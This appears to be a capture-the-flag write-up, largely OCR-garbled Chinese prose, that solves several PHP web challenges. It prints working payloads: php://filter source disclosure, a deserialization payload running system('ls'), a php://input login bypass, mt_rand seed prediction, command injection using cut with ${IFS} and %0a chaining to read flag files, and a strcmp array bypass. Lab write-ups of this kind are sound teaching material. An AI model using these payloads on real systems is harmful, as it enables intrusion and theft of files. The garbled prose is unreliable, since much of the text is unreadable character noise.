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1. TN AR EER, WE—AZAME. XEEREIINIZEF12EEFMREG. SEREZRRMXEEER
HRAEIX B B R:

FEIX B8N B A ik

2. B3R Jindex.php?file=show.php ; FE|XEFfle, TRIRBLSASHFELEMHLER? Aa, Bi1%E
Vi — F XN . WE TR

RN i

3. B4&user.phpliitR, HAVEEE VY Huser.php2 KM XABIFARE. A2, RAIELHR—
F./index.php?file=show.php, M2 & F7E 4 &K .

#i&— T payload:

/index.php?file=php://filter/read=convert.base64-encode/resource=user.php

X EHENE R R
4. IR [El T base64in% G user.phpIyEAHS, TiBl B2 EME, BRINESEDE TE.
base64# % 515 240 T RS

FEIX BN B A iR

5. R HE T, EEAHANZEEZRHTT, wakeup()&& i flunserialize()R#. < FrLARiEAMAT, REAX
BRI —RAE 551 K wakeup() R EIRIH . Hi&payload: cmd=0:7:“convent”:3:
{s:4:"warn”;s:13:“system(“Is”);”;}

fi# % — T payloaditt :
EANKIZH R omd, RpostERLH,
O: JETHRIEF7RR~ZK convent" K
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3: RAMRERNTENEE
s: RAKRERFBRKE
6. fEhackbar#i {7 #4i& i I payload:

FEIX BLAE N B ik
7 BRIIPAT Tlstn4, RET HREE. FrARNA R 75 Epayloadfs Zlflag

FEIX BN B A ik

% 8, random

FEIX B B A ik

1. RAS#ETHE, ATCAATEARS AT LME A =4S4 hello,seed key;

helloZ#({EMH: A X fflag.php;

seedZHMMER: mt_scrand()RHUEEFF. FFHIE T, mt_rand()st R PAAE BHE SR BENLEL T .
keyZHEH: £ AKIMEZESTmt_rand()EmUE KIBEHLEL.

2. T UAFIFHphpthBENLEIRIR, RATET TS B4

FEIX B B R ik

3. B X JUAT RS B AT LB IRATTE 2 i AP £ (123456)%) B FEALEFT EN SR, 285 B aT b iE Al payload
To (IREE—TF/HE, php3XHHal UREIBATR BBV IR S 2, REXTHERSRMBERT. . o)

4. JiEMI/33]: 1863022934

X BEiEANE R R
5. H#xspayload: /?hello=file(flag.php’)&seed=123456&key=1863022934

5 3flag:

X BiEAE R #R
FE=F, admin

FEIX BLAR B 7 fifiid
1. MIERKABRRBIAREER, THF12EFIRN:



FEIX BLAE N B ik

2. BAMRBGE T+ — TP IXBABEKEE:

Suser =$ GET["user";

$file = $_GET["file"];

Spass = $ GET["pass"]; if(isset($user)&&(file_get contents($user,'r')==="admin")){

echo "hello admin!

include($file); //class.php

}

elsef

echo "you are not admin ! ";

}

issetRECH R AW E R R BFEIF AN AN, FEREUre, HFEIREfalse,
file_get_contents() B#: & T XHRINBFRANB —NFRE PR EETE,
include($file); //class.php:

3. BEERIETEIVE Hhello admin!, REHATCHEE IR

Frbk, BATIRLZAEI%ikfile_get contents($user,'r’)i N 228 fadmingi il LLSeidfile_get contents, iXE
51 R A php i 88 285 i i—— phip://input.  php://input BT BAT i1 SR ) R 46 B8 59 R 23R, # postil sk =+ %
Ve HPHPARAG AT

4. ¥i&payload: /?User=php://input

FEX B s B ik
5. BIhGed G BATRI A O B php:/filteritclass.php L4k Hi sk

FEX B B ik

class.php:

error_reporting(E_ALL & ~E_NOTICE);
class Read{//fffffflag.php

public $file;

public function __toString(){

if(isset($this->file)



echo file_get_contents($this->file);

}

return "Awwwwwwwwwww man";
}

}

>

6. REHIt:

BB A LESMflag.php 5 __toString()Ei#t: KiFlagkE A7/ B $ATH & B3I PT LR, I B KR E $file
PERSCE 2 SN, R RAECHEERF; BREX T XRead T REXEEREFEHAME, MW
Hi&H — M EpassfEHE. Ft, FHE—MRKIFGATEAERER.

3, #i&payloadik [Elindex.php

FEX BAH A B A ik

index.php:

error_reporting(E_ALL & ~E_NOTICE);

Suser =$_GET["user"];

$file = $_GET["file");

$pass = $_GET["pass"];

if(isset($user)&&(file_get contents($user,'r')==="admin"){

echo "hello admin!

if(preg_match("/fffffflag/", $file) X
exit();

else{

include($file); //class.php
$pass = unserialize($pass);
echo $pass;

}

else{

echo "you are not admin ! *;

echo"

echo "hava a rest and then change your choose.";



}
>
7. RIEH
preg_match("/fffffflag/",
pass = unserialize($pass);: X B Xfpassi#iiT T &/F 51 Ab 2 ;
AT AMiE R P B LE B i pass, I Dy B il php:/filter sLEXffffflag.phpff P9 25 .

FEIX B iw N B F /iR
23 flag{woyebuzhidaoyaononggeshaflagheshia}
I, post1

X BAE N\ B Ak
1. BEWFELHBE: eval(system($c));//read flag.txt But no cat!! !
BB RFEfag.txt

2. B Hipostla], MBFEAIpostizzaikik:

R UNCE 4

3. BERAMENY, HARDEHHEMRAET . BMZELMES SEIEISCHME? eval(system()); il T
BATRB O, system()REFRAVE A4, BREno cat’itx, HBIK &AM ATEERcut. Frbliigpayload:
a=cut${IFS)-b1-${IFS)flag.txt

fERE—T:

JRAR: a=cut-b1-flag.txt

ERXBEIIEEMM, FrUHS {IFS B ZHRMTEET .

cut -b1 flag.txt R £k BB SCAKISE —ANFRFERS, FrClin - B9 T 7T LOs i 25 W &

X B A E R #iR
FHME, ping
1. EEEEMIERG:

X BENE A #R
2. AT
stremp (): #AT @ Hl 22 FFFE L, I RAIWipassword 2 75—



include($_REQUEST[path’]): X-E&, EAKSHZpath
BRERBAMES i stremp (), R )5 HHAT BB S iEping.phpiX AN X 4.
3. Php5.32 J5 4~ F stremp b — AN 77 B RO 1938 K A BHR 11T 2R B0, Fr LARE I F -

FEIX BN B Rk
4. Ry php:/Hilterigz B ping.php

FEIX BN B A R

ping.phpiRfid:

FEIX BN B A ik

5. . WRELE, RATMEA R4 A RAFEAT T, ERBATET DL %0aft B8/ %0df
ClC B

FEIX B iw N\ B R /iR
6. fv4: cat J/ffffff1111aagggg.txt, BLHflag
IS, post2

1. FETpost1 TS0, RIFFMHBERIEER ST B hexeck G EIE, BERHBINEEE. FREIRESHH
AAPRKNE, MAKES HEEA:

GRR RN iy

EIX BB F #iid
End:

HIX K K Iwebl, R L HMAphph i, H2IRZ KRR HE TR IMESHAKEST.
PAEMEphpIAIES, ULERpythonRIB%E IR AR BBE, 74 GEHufSsRisLs .
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